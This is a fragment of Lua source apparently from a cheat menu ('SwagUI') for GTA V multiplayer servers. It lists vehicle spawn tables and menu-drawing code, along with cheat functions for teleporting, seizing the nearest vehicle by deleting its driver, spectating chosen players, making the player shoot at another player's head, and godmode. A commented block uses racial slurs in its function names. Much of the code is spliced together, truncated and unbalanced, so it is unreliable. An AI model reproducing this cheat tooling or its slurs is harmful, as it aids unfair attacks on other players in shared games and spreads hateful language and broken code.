{"TRIBIKE3", "pandm_default"},
},
boats = {
{"DINGHY", "dock_default", "DINGHY3"},
{"DINGHY2", "dock_default", "DINGHY3"},
{"DINGHY3", "dock_default"},
{"DINGHY4", "dock_default", "DINGHY3"},
{"JETMAX", "dock_default"},
{"MARQUIS", "dock_default"},
{"PREDATOR"},
{"SEASHARK", "dock_default"},
{"SEASHARK2"},
{"SEASHARK3"},
{"SPEEDER", "dock_default"},
{"SPEEDER2"},
{"SQUALO", "dock_default"},
{"SUBMERSIBLE"},
{"SUBMERSIBLE2"},
{"SUNTRAP", "dock_default"},
{"TORO", "dock_default"},
{"TORO2", "dock_default", "TORO"},
{"TROPIC", "dock_default"},
{"TROPIC2"},
{"TUG", "dock_dlc_executive1"},
},
helicopters = {
{"AKULA", "candc_xmas2017"},
{"ANNIHILATOR"},
{"BUZZARD", "candc_default"},
{"BUZZARD2"},
{"CARGOBOB", "candc_default"},
{"CARGOBOB2", "candc_executive1"},
{"CARGOBOB3"},
{"CARGOBOB4"},
{"FROGGER"},
{"FROGGER2"},
{"HAVOK", "elt_dlc_smuggler"},
{"HUNTER", "candc_smuggler"},
{"MAVERICK"},
{"POLMAV"},
{"SAVAGE", "candc_default"},
{"SEASPARROW", "elt_dlc_assault", "sparrow"},
{"SKYLIFT"},
{"SUPERVOLITO"},
{"SUPERVOLITO2"},
{"SWIFT", "elt_dlc_pilot"},
{"SWIFT2", "elt_dlc_swage"},
{"VALKYRIE", "candc_default"},
{"VALKYRIE2"},
{"VOLATUS", "elt_dlc_executive1"},
},
planes = {
{"ALPHAZ1", "elt_dlc_smuggler"},
{"AVENGER"},
{"AVENGER2"},
{"BESRA", "elt_dlc_pilot"},
{"BLIMP"},
{"BLIMP2"},
{"BLIMP3", "elt_dlc_battle"},
{"BOMBUSHKA", "candc_smuggler"},
{"CARGOPLANE"},
{"CUBAN800"},
{"DODO"},
{"DUSTER"},
{"HOWARD", "elt_dlc_smuggler"},
{"HYDRA", "candc_default"},
{"JET"},
{"LAZER", "candc_smuggler"},
{"SWAGOR"},
{"SWAGOR2", "elt_dlc_swage"},
{"MAMMATUS"},
{"MICROLIGHT", "elt_dlc_smuggler"},
{"MILJET", "elt_dlc_pilot"},
{"MOGUL", "candc_smuggler"},
{"MOLOTOK", "candc_smuggler"},
{"NIMBUS", "elt_dlc_executive1"},
{"NOKOTA", "candc_smuggler"},
{"PYRO", "candc_smuggler"},
{"ROGUE", "candc_smuggler"},
{"SEABREEZE", "elt_dlc_smuggler"},
{"SHAMAL"},
{"STARLING", "candc_smuggler"},
{"STRIKEFORCE", "candc_battle"},
{"STUNT"},
{"TITAN"},
{"TULA", "candc_smuggler"},
{"VELUM"},
{"VELUM2"},
{"VESTRA", "elt_dlc_business"},
{"VOLATOL", "candc_xmas2017"},
},
service = {
{"AIRBUS", "candc_default"},
{"BRICKADE", "candc_executive1"},
{"BUS", "candc_default"},
{"COACH", "candc_default"},
{"PBUS2", "sssa_dlc_battle"},
{"RALLYTRUCK", "sssa_dlc_mp_to_sp"},
{"RENTALBUS"},
{"TAXI"},
{"TOURBUS"},
{"TRASH"},
{"TRASH2"},
{"WASTELANDER", "candc_importexport", "wastlndr"},
{"AMBULANCE"},
{"FBI"},
{"FBI2"},
{"FIRETRUK", "candc_casinoheist"},
{"LGUARD", "candc_casinoheist"},
{"PBUS", "candc_default"},
{"POLICE"},
{"POLICE2"},
{"POLICE3"},
{"POLICE4"},
{"POLICEB"},
{"POLICEOLD1"},
{"POLICEOLD2"},
{"POLICET"},
{"POLMAV"},
{"PRANGER"},
{"PREDATOR"},
{"RIOT"},
{"RIOT2", "candc_xmas2017"},
{"SHERIFF"},
{"SHERIFF2"},
{"APC", "candc_gunrunning"},
{"BARRACKS", "candc_default"},
{"BARRACKS2"},
{"BARRACKS3"},
{"BARRAGE", "candc_xmas2017"},
{"CHERNOBOG", "candc_xmas2017"},
{"CRUSADER", "candc_default"},
{"HALFTRACK", "candc_gunrunning"},
{"KHANJALI", "candc_xmas2017"},
{"RHINO", "candc_default"},
{"SCARAB"},
{"SCARAB2"},
{"SCARAB3"},
{"THRUSTER", "candc_xmas2017"},
{"TRAILERSMALL2"},
},
commercial = {
{"BENSON"},
{"BIFF"},
{"CERBERUS"},
{"CERBERUS2"},
{"CERBERUS3"},
{"HAULER"},
{"HAULER2"},
{"MULE", "candc_default"},
{"MULE2"},
{"MULE3", "candc_default"},
{"MULE4", "candc_battle"},
{"PACKER"},
{"PHANTOM"},
{"PHANTOM2", "candc_importexport"},
{"PHANTOM3"},
{"POUNDER"},
{"POUNDER2", "candc_battle"},
{"STOCKADE", "candc_casinoheist"},
{"STOCKADE3"},
{"TERBYTE"},
{"CABLECAR"},
{"FREIGHT"},
{"FREIGHTCAR"},
{"FREIGHTCONT1"},
{"FREIGHTCONT2"},
{"FREIGHTGRAIN"},
{"METROTRAIN"},
{"TANKERCAR"},
},
---------------------
-- SwagUI Class --
---------------------
SwagUI = {}
SwagUI.debug = false
local menus = {}
local keys = {up = 172, down = 173, left = 174, right = 175, select = 176, back =
177}
local optionCount = 0
local t
local pow = function(num, pow) return num ^ pow end
local sin = math.sin
local cos = math.cos
local sqrt = math.sqrt
local abs = math.abs
local asin = math.asin
------------------------------------------------------------------------
-- t = time == how much time has to pass for the tweening to complete --
-- b = begin == starting property value
--
-- c = change == ending - beginning
--
-- d = duration == running time. How much time has passed *right now* --
------------------------------------------------------------------------
local notifyBody = {
-- Text
scale = 0.35,
offsetLine = 0.0235, -- text height: 0.019 | newline height: 0.005 or 0.006
finalPadding = 0.01,
-- Warp
offsetX = 0.095, -- 0.0525
offsetY = 0.009875, -- 0.01
-- Draw below footer
footerYOffset = 0,
-- Sprite
dict = 'commonmenu',
sprite = 'header_gradient_script',
font = 4,
width = menuWidth + frameWidth,
height = 0.023, -- magic 0.8305 -- 0.011625
heading = 90.0,
-- Betwenn != notifications
gap = 0.006,
}
local notifyDefault = {
text = "Someone forgot to change me!",
type = 'info',
timeout = 6000,
transition = 750,
}
-- Thread content
local function MakeRoomThread(v, from, to, duration)
local notif = v
local beginVal = from
local endVal = to
local change = endVal - beginVal
local timer = 0
local new_what
SetTimer()
local isMoving = true
while isMoving do
new_what = outCubic(GetTimer(), beginVal, change, duration)
if notif.y < endVal then
notif.y = new_what
else
notif.y = endVal
isMoving = false
break
end
Wait(5)
end
local w, h = GetActiveScreenResolution()
local sound_type = {
['success'] = { name = "CHALLENGE_UNLOCKED", set = "HUD_AWARDS"},
['info'] = { name = "FocusIn", set = "HintCamSounds" },
['error'] = { name = "CHECKPOINT_MISSED", set = "HUD_MINI_GAME_SOUNDSET"},
}
local draw_type = {
['success'] = { color = themeColors.green, dict = "commonmenu", sprite =
"shop_tick_icon", size = 0.016},
['info'] = { color = themeColors.blue, dict = "shared", sprite =
"info_icon_32", size = 0.012},
['error'] = { color = themeColors.red, dict = "commonmenu", sprite =
"shop_lock", size = 0.016},
}
BeginTextCommandDisplayText("notification_buffer")
AddTextComponentSubstringPlayerName(" " .. text)
EndTextCommandDisplayText(v.x - notifyBody.width / 2 + frameWidth / 2 +
buttonTextXOffset, v.y - notifyBody.gap) -- (notifyBody.height / 2 - fontHeight /
2)
end
local notifyQueue = 0
local drawnTable = {}
-- Responsible for making sure the notification 'stick' to the menu footer
local function NotifyRecalibrate()
local p = properties
local stackIndex = 0
stackIndex = stackIndex - 1
end
end
end
local p = properties
local id = NotifyRecycle()
-- Drawing
local function NotifyDraw()
SetScriptGfxDrawOrder(5)
while p.notif[id].draw do
if SwagUI.IsAnyMenuOpened() then
NotifyDrawBackground(p.notif[id])
NotifyDrawText(p.notif[id], text)
end
Wait(0)
end
local timer = 0
-- Fade out
local function NotifyFadeOut()
local timer = 0
while p.notif[id].draw do
while p.notif[id].tout do
if p.notif[id].beginOut then
SetTimerOut(0)
p.notif[id].beginOut = false
end
p.notif[id].tout = false
p.notif[id].draw = false
break
else
p.notif[id].opacity = floor(opa + 0.5)
end
Wait(5)
end
Wait(5)
end
end
CreateThread(NotifyFadeOut)
end
if restoreIndex then
setMenuProperty(id, "currentOption", menus[id].storedOption)
end
if visible then
if id ~= currentMenu and isMenuVisible(currentMenu) then
setMenuProperty(currentMenu, "storedOption",
menus[currentMenu].currentOption)
setMenuVisible(currentMenu, false)
end
currentMenu = id
end
if dynamicColorTheme then
if isMenuVisible("SelfMenu") then
_menuColor.base = themeColors.green
elseif isMenuVisible("OnlinePlayersMenu") then
_menuColor.base = themeColors.blue
elseif isMenuVisible("VisualMenu") then
_menuColor.base = themeColors.white
elseif isMenuVisible("TeleportMenu") then
_menuColor.base = themeColors.yellow
elseif isMenuVisible("LocalVehicleMenu") then
_menuColor.base = themeColors.orange
elseif isMenuVisible("LocalWepMenu") then
_menuColor.base = themeColors.red
elseif isMenuVisible("SwagMainMenu") then
_menuColor.base = themeColors.purple
end
end
end
end
if shadow then
--SetTextDropShadow(2, 2, 0, 0, 0)
end
SetTextOutline()
if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
SetTextWrap(menus[currentMenu].x, menus[currentMenu].x +
menuWidth - buttonTextXOffset)
SetTextRightJustify(true)
end
end
BeginTextCommandDisplayText("text_buffer")
AddTextComponentString(text)
EndTextCommandDisplayText(x, y)
end
if shadow then
SetTextDropShadow(2, 2, 0, 0, 0)
end
if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
local rX = menus[currentMenu].x - frameWidth / 2 - frameWidth -
previewWidth / 2
SetTextWrap(rX, rX + previewWidth / 2 - buttonTextXOffset / 2)
SetTextRightJustify(true)
end
end
BeginTextCommandDisplayText("preview_text_buffer")
AddTextComponentString(text)
EndTextCommandDisplayText(x, y)
end
-- [NOTE] MenuDrawTitle
local function drawTitle()
if menus[currentMenu] then
local x = menus[currentMenu].x + menuWidth / 2
local y = menus[currentMenu].y + titleHeight / 2
if menus[currentMenu].background == "default" then
if _menuColor.base == themeColors.purple then
drawRect(x, y, menuWidth, titleHeight,
menus[currentMenu].titleBackgroundColor)
else
DrawSpriteScaled("commonmenu", "interaction_bgd", x, y +
0.025, menuWidth, (titleHeight * -1) - 0.025, 0.0, 255, 76, 60, 255) -- 255, 76,
60,
DrawSpriteScaled("commonmenu", "interaction_bgd", x, y +
0.025, menuWidth, (titleHeight * -1) - 0.025, 0.0, _menuColor.base.r,
_menuColor.base.g, _menuColor.base.b, 255)
end
elseif menus[currentMenu].background == "weaponlist" then
if _menuColor.base == themeColors.purple then
DrawSpriteScaled("heisthud", "main_gradient", x, y + 0.025,
menuWidth, (titleHeight * -1) - 0.025, 0.0, 255, 255, 255, 140) -- 255, 76, 60,
else
DrawSpriteScaled("heisthud", "main_gradient", x, y + 0.025,
menuWidth, (titleHeight * -1) - 0.025, 0.0, _menuColor.base.r, _menuColor.base.g,
_menuColor.base.b, 255)
end
-- rgb(155, 89, 182)
elseif menus[currentMenu].titleBackgroundSprite then
DrawSpriteScaled(
menus[currentMenu].titleBackgroundSprite.dict,
menus[currentMenu].titleBackgroundSprite.name,
x,
y,
menuWidth,
titleHeight,
0.,
255,
255,
255,
255
)
else
drawRect(x, y, menuWidth, titleHeight,
menus[currentMenu].titleBackgroundColor)
end
drawText(
menus[currentMenu].title,
x,
y - titleHeight / 2 + titleYOffset,
menus[currentMenu].titleFont,
menus[currentMenu].titleColor,
titleScale,
true
)
end
end
--[[
if menus[currentMenu].currentOption <=
menus[currentMenu].maxOptionCount and optionCount <=
menus[currentMenu].maxOptionCount then
multiplier = optionCount
elseif optionCount >= menus[currentMenu].currentOption then
multiplier = 10
end
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
separatorHeight + (buttonHeight * multiplier) --0.015
-- Footer
drawRect(x, y + (footerHeight / 2), menuWidth, footerHeight,
footerColor)
--drawText(menus[currentMenu].version, menus[currentMenu].x +
buttonTextXOffset, y - separatorHeight + (footerHeight / 2 - fontHeight / 2),
menus[currentMenu].titleFont, {r = 255, g = 255, b = 255, a = 128}, buttonScale,
false)
--drawText(menus[currentMenu].subTitle, menus[currentMenu].x +
menuWidth / 2, y - separatorHeight + (footerHeight / 2 - fontHeight / 2),
menus[currentMenu].titleFont, { r = 255, g = 255, b = 255, a = 255 }, buttonScale,
true, false, false)
-- Header
local function RGB(frequency)
local result = {}
local curtime = GetGameTimer() / 1000
return result
end
local rainbow = RGB(100.0)
drawText(
menus[currentMenu].branding,
menus[currentMenu].x + menuWidth/2,
y - buttonHeight*3.25,
buttonFont,
{ r = 0, g = 104, b = 222, a = 255 },
1.5,
true, true, false
)
--menus[currentMenu].titleColor
-----------------------------'
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight + 0.0025 +
(buttonHeight * multiplier) - buttonHeight / 2 -- 0.0025 is the offset for the line
under subTitle
local backgroundColor = nil
local textColor = nil
local subTextColor = nil
local shadow = false
local xoff = 0.0
--end
DrawSpriteScaled("hunting", "huntingwindarrow_32",
menus[currentMenu].x+0.0075, y+0.0008, 0.0075, nil, 90.0, pointColor.r,
pointColor.g, pointColor.b, pointColor.a)
-- menus[currentMenu].title = ""
elseif subText == "toggleOff" then
x = x + menuWidth / 2 - frameWidth / 2 - toggleOuterWidth / 2 -
buttonTextXOffset
y = y - buttonHeight / 2 + buttonTextYOffset
--local function drawText(text, x, y, font, color, scale, center,
shadow, alignRight)
drawText("~r~OFF", x, y, buttonFont, subTextColor, buttonScale,
false, true, true)
end
end
end
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight + 0.0025 +
(buttonHeight * multiplier) - buttonHeight / 2 -- 0.0025 is the offset for the line
under subTitle
-- Button background
drawRect(x, y, menuWidth, buttonHeight, backgroundColor)
-- Button title
drawText(
text,
menus[currentMenu].x + buttonTextXOffset,
y - (buttonHeight / 2) + buttonTextYOffset,
buttonFont,
textColor,
buttonScale,
false
)
-- Selection Text
drawText(
selectedIndex,
x, -- fucked
y - (buttonHeight/2) + buttonTextYOffset,
buttonFont,
subTextColor,
buttonScale,
false,
true,
true
)
end
end
-- Invokes NotifyNewThread
function SwagUI.SendNotification(options)
local InvokeNotification = function() return NotifyNewThread(options) end
-- Delegate coroutine
CreateThread(InvokeNotification)
end
menus[id].visible = false
menus[id].previousMenu = nil
menus[id].aboutToBeClosed = false
menus[id].x = 0.15
menus[id].y = 0.19
menus[id].width = menuWidth
menus[id].currentOption = 1
menus[id].storedOption = 1 -- This is used when going back to previous menu
menus[id].maxOptionCount = 10
menus[id].titleFont = 4
menus[id].titleColor = {r = 180, g = 90, b = 70, a = 255}
menus[id].background = "default"
menus[id].titleBackgroundColor = {r = _menuColor.base.r, g =
_menuColor.base.g, b = _menuColor.base.b, a = 180}
menus[id].subTitleBackgroundColor = {
r = menus[id].menuBackgroundColor.r,
g = menus[id].menuBackgroundColor.g,
b = menus[id].menuBackgroundColor.b,
a = 255
}
if subTitle then
setMenuProperty(id, "subTitle", string.upper(subTitle))
else
setMenuProperty(id, "subTitle",
string.upper(menus[parent].subTitle))
end
setMenuProperty(id, "buttonSubBackgroundColor",
menus[parent].buttonSubBackgroundColor)
end
end
function SwagUI.CurrentMenu()
return currentMenu
end
function SwagUI.OpenMenu(id)
if id and menus[id] then
if menus[id].titleBackgroundSprite then
RequestStreamedTextureDict(menus[id].titleBackgroundSprite.dict,
false)
while not
HasStreamedTextureDictLoaded(menus[id].titleBackgroundSprite.dict) do
Citizen.Wait(0)
end
end
setMenuVisible(id, true)
--PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET",
true)
end
end
function SwagUI.IsMenuOpened(id)
return isMenuVisible(id)
end
function SwagUI.IsAnyMenuOpened()
for id, _ in pairs(menus) do
if isMenuVisible(id) then
return true
end
end
return false
end
function SwagUI.IsMenuAboutToBeClosed()
if menus[currentMenu] then
return menus[currentMenu].aboutToBeClosed
else
return false
end
end
function SwagUI.CloseMenu()
if menus[currentMenu] then
if menus[currentMenu].aboutToBeClosed then
menus[currentMenu].aboutToBeClosed = false
setMenuVisible(currentMenu, false)
--PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET",
true)
optionCount = 0
currentMenu = nil
currentKey = nil
else
menus[currentMenu].aboutToBeClosed = true
end
end
end
if menus[currentMenu] then
optionCount = optionCount + 1
if isCurrent then
if currentKey == keys.select then
--PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
return true
end
end
return false
end
end
if vehicleMod then
selectedIndex = selectedIndex + 2
end
callback(selectedIndex)
return false
end
function matacumparamasini()
local ModelName = KeyboardInput("Enter Vehicle Spawn Name", "", 100)
local NewPlate = KeyboardInput("Enter Vehicle Licence Plate", "", 100)
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
separatorHeight + (buttonHeight * multiplier) - buttonHeight / 2 -- 0.0025 is the
offset for the line under subTitle
-- Button
drawRect(x, y, menuWidth, buttonHeight, backgroundColor) -- Button
Rectangle -2.15
DrawSpriteScaled("digitaloverlay", "nscuzz3", x, y+0.003, menuWidth,
buttonHeight-0.003, 0.0, 255, 255, 255, 45 ) -- rgb(26, 188, 156)
-- Button text
drawText(text, menus[currentMenu].x + buttonTextXOffset, y -
(buttonHeight / 2) + buttonTextYOffset, buttonFont, textColor, buttonScale, false,
shadow) -- Text
-- Slider left
drawRect(x + menuWidth / 2 - frameWidth / 2 - buttonTextXOffset -
sliderWidth / 2, y, sliderWidth, sliderHeight, sliderColorBase)
-- Slider right
--drawRect(x + menuWidth / 2 - frameWidth / 2 - buttonTextXOffset -
(sliderOverlayWidth / 2) * (itemsCount - selectedIndex), y, sliderOverlayWidth *
(itemsCount - selectedIndex), sliderHeight,
menus[currentMenu].buttonSubBackgroundColor)
-- Slider knob
drawRect(x + menuWidth / 2 - frameWidth / 2 - buttonTextXOffset -
sliderWidth + (sliderOverlayWidth * (selectedIndex - 1)), y, knobWidth, knobHeight,
sliderColorKnob)
if isCurrent then
if currentKey == keys.select then
--PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
return true
elseif currentKey == keys.left or currentKey == keys.right then
--PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return false
else
return false
end
end
return false
end
return true
end
return false
end
drawComboBox(text, selectedIndex)
if isCurrent then
if currentKey == keys.select then
--PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
return true
elseif currentKey == keys.left or currentKey == keys.right then
--PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return false
else
return false
end
end
if vehicleMod then
selectedIndex = selectedIndex + 1
selectedItem = items[selectedIndex]
end
if isCurrent then
if currentKey == keys.left then
if selectedIndex > 1 then selectedIndex = selectedIndex - 1 end
elseif currentKey == keys.right then
if selectedIndex < itemsCount then selectedIndex = selectedIndex
+ 1 end
end
end
callback(selectedIndex, selectedItem)
return false
end
function SwagUI.DrawVehiclePreview(vehClass)
local previewX = menus[currentMenu].x - frameWidth / 2
local previewY = menus[currentMenu].y + titleHeight / 2 + previewWidth
local class = VehicleClass[vehClass]
local index = menus[currentMenu].currentOption
function SwagUI.Display()
if isMenuVisible(currentMenu) then
if menus[currentMenu].aboutToBeClosed then
SwagUI.CloseMenu()
else
SetScriptGfxDrawOrder(15)
-- drawTitle()
drawSubTitle()
drawFooter()
currentKey = nil
optionCount = 0
end
end
end
function SwagUI.SetMenuX(id, x)
setMenuProperty(id, "x", x)
end
function SwagUI.SetMenuY(id, y)
setMenuProperty(id, "y", y)
end
function SwagUI.SetTitleColor(id, r, g, b, a)
setMenuProperty(id, "titleColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a
or menus[id].titleColor.a})
end
function SwagUI.SetTitleBackgroundColor(id, r, g, b, a)
setMenuProperty(
id,
"titleBackgroundColor",
{["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or
menus[id].titleBackgroundColor.a}
)
end
function SwagUI.SetMenuBackgroundColor(id, r, g, b, a)
setMenuProperty(
id,
"menuBackgroundColor",
{["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or
menus[id].menuBackgroundColor.a}
)
end
function SwagUI.SetMenuTextColor(id, r, g, b, a)
setMenuProperty(id, "menuTextColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"]
= a or menus[id].menuTextColor.a})
end
function SwagUI.SetMenuSubTextColor(id, r, g, b, a)
setMenuProperty(id, "menuSubTextColor", {["r"] = r, ["g"] = g, ["b"] = b,
["a"] = a or menus[id].menuSubTextColor.a})
end
function SwagUI.SetMenuFocusColor(id, r, g, b, a)
setMenuProperty(id, "menuFocusColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"]
= a or menus[id].menuFocusColor.a})
end
return result
end
SliderOptions.TorqueBoost = {
Selected = 1,
Values = { 0.0, 2.0, 4.0, 10.0, 512.0, 9999.0 },
Words = { "OFF", "2.0", "4.0", "10.0", "512.0", "9999.0" },
}
function teleport_to_coords(x, y, z)
if tp_take_veh then
SetPedCoordsKeepVehicle(PlayerPedId(), x,y,z)
else
SetEntityCoords(PlayerPedId(), vector3(x, y, z))
end
end
if DoesBlipExist(WaypointHandle) then
local waypointCoords = GetBlipInfoIdCoord(WaypointHandle)
for height = 1, 1000 do
teleport_to_coords(waypointCoords["x"], waypointCoords["y"],
height + 0.0)
break
end
Citizen.Wait(0)
end
else
SwagUI.SendNotification({text = "You must place a waypoint", type =
'error'})
end
end
function TeleportVehicle()
local playerPed = GetPlayerPed(-1)
local playerPedPos = GetEntityCoords(playerPed, true)
local NearestVehicle = GetClosestVehicle(GetEntityCoords(playerPed, true),
1000.0, 0, 4)
local NearestVehiclePos = GetEntityCoords(NearestVehicle, true)
local NearestPlane = GetClosestVehicle(GetEntityCoords(playerPed, true),
1000.0, 0, 16384)
local NearestPlanePos = GetEntityCoords(NearestPlane, true)
SwagUI.SendNotification({text = "~y~Wait..", type = "error"})
Citizen.Wait(1000)
if (NearestVehicle == 0) and (NearestPlane == 0) then
SwagUI.SendNotification({text = "~r~No Vehicle Found", type = "error"})
elseif (NearestVehicle == 0) and (NearestPlane ~= 0) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
else
local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
end
SwagUI.SendNotification({text = "~g~Teleported To Nearest Vehicle", type =
"info"})
elseif (NearestVehicle ~= 0) and (NearestPlane == 0) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
SwagUI.SendNotification({text = "~g~Teleported To Nearest Vehicle", type =
"error"})
elseif (NearestVehicle ~= 0) and (NearestPlane ~= 0) then
if Vdist(NearestVehiclePos.x, NearestVehiclePos.y, NearestVehiclePos.z,
playerPedPos.x, playerPedPos.y, playerPedPos.z) < Vdist(NearestPlanePos.x,
NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x, playerPedPos.y,
playerPedPos.z) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
elseif Vdist(NearestVehiclePos.x, NearestVehiclePos.y, NearestVehiclePos.z,
playerPedPos.x, playerPedPos.y, playerPedPos.z) > Vdist(NearestPlanePos.x,
NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x, playerPedPos.y,
playerPedPos.z) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
else
local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
end
end
SwagUI.SendNotification({text = "~g~Teleported To Nearest Vehicle", type =
"error"})
end
end
if Swag.Player.Spectating then
RequestCollisionAtCoord(GetEntityCoords(PlayerPedId()))
DoScreenFadeOut(500)
while IsScreenFadingOut() do Wait(0) end
NetworkSetInSpectatorMode(false, 0)
SetMinimapInSpectatorMode(false, 0)
--ClearPedTasks(PlayerPedId())
DoScreenFadeIn(500)
else
DoScreenFadeOut(500)
while IsScreenFadingOut() do Wait(0) end
RequestCollisionAtCoord(GetEntityCoords(selectedPlayerPed))
NetworkSetInSpectatorMode(false, 0)
NetworkSetInSpectatorMode(true, selectedPlayerPed)
SetMinimapInSpectatorMode(true, selectedPlayerPed)
--TaskWanderStandard(PlayerPedId(), 0, 0)
DoScreenFadeIn(500)
end
function ShootPlayer(player)
local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player,
"SKEL_HEAD"), 0.0, 0.0, 0.0)
SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
end
local ptags = {}
-- Thread that handles all menu toggles (Godmode, ESP, etc)
--[[
isAttached = false
attachedEntity = nil
function roll_the_nigger_up_in_a_ball_666()
while IsPedInAnyVehicle(GetPlayerPed(-1), false) do
local heading = GetEntityHeading(GetPlayerPed(-1))
local rheading = GetEntityRotation(GetPlayerPed(-1), 2)
--SetEntityHeading(fuckingchickenwings, heading)
SetEntityNoCollisionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false),
fuckingchickenwings, true)
--AttachEntityToEntity(fuckingchickenwings, GetPlayerPed(-1), 0, 0, -
1.0, 0.0, 0.0, 180, true, true, false, true, 1, true)
AttachEntityToEntity(fuckingchickenwings, GetPlayerPed(-1),
GetPedBoneIndex(GetPlayerPed(-1), SKEL_Spine_Root), 0.0, 0.0, 0.0, 0.0, 0.0, 180,
false, false, false, false, 2, false)
SetEntityRotation(GetPlayerPed(-1), 0, 0, math.random() % 360, 2, true)
Citizen.Wait(0)
end
if fuckingchickenwings ~= nil then
DeleteEntity(fuckingchickenwings)
end
end
function shootfuckingstupidniggers()
if fuckingchickenwings ~= nil then
DeleteEntity(fuckingchickenwings)
end
CreateThread(roll_the_nigger_up_in_a_ball_666)
if IsPedInAnyVehicle(GetPlayerPed(-1), false) then
SetEntityVisible(GetVehiclePedIsIn(GetPlayerPed(-1), false), false, false)
SetEntityVisible(GetPlayerPed(-1), true, false)
local rollerhash =
GetHashKey(ComboOptions.fcars.Values[ComboOptions.fcars.Selected])
local roller = CreateObject(rollerhash, 0, 0, 0, true, true, true)
fuckingchickenwings = roller
end
end
]]--
function RotToDirection(rot)
local radiansZ = math.rad(rot.z)
local radiansX = math.rad(rot.x)
local num = math.abs(math.cos(radiansX))
local dir = vector3(-math.sin(radiansZ) * num, math.cos(radiansZ * num),
math.sin(radiansX))
return dir
end
local aX = pointA.x
local aY = pointA.y
local aZ = pointA.z
local bX = pointB.x
local bY = pointB.y
local bZ = pointB.z
local xBA = bX - aX
local yBA = bY - aY
local zBA = bZ - aZ
return result
end
function rotDirection(rot)
local radianz = rot.z * 0.0174532924
local radianx = rot.x * 0.0174532924
local num = math.abs(math.cos(radianx))
return dir
end
return result
end
bg_ped_list = {}
Citizen.CreateThread(function()
while isMenuEnabled do
for i,ped in ipairs(bg_ped_list) do
if IsEntityDead(ped) then
table.remove(bg_ped_list, i)
else
local coords = GetEntityCoords(GetPlayerPed(-1), true)
local ped_coords = GetEntityCoords(ped, true)
if GetDistanceBetweenCoords(coords, ped_coords) >= 4.0 then
RequestControlOnce(ped)
TaskGoToCoordAnyMeans(ped, coords, 150.0, 0, 0,
786603, 0xbf800000)
end
end
end
Citizen.Wait(3000)
end
end)
Crosshair = true
showMinimap = true
local function MenuToggleThread()
while isMenuEnabled do
-- Radar/showMinimap
DisplayRadar(showMinimap, 1)
Swag.Player.IsInVehicle = IsPedInAnyVehicle(PlayerPedId(), 0)
SetPlayerInvincible(PlayerId(), God_mode)
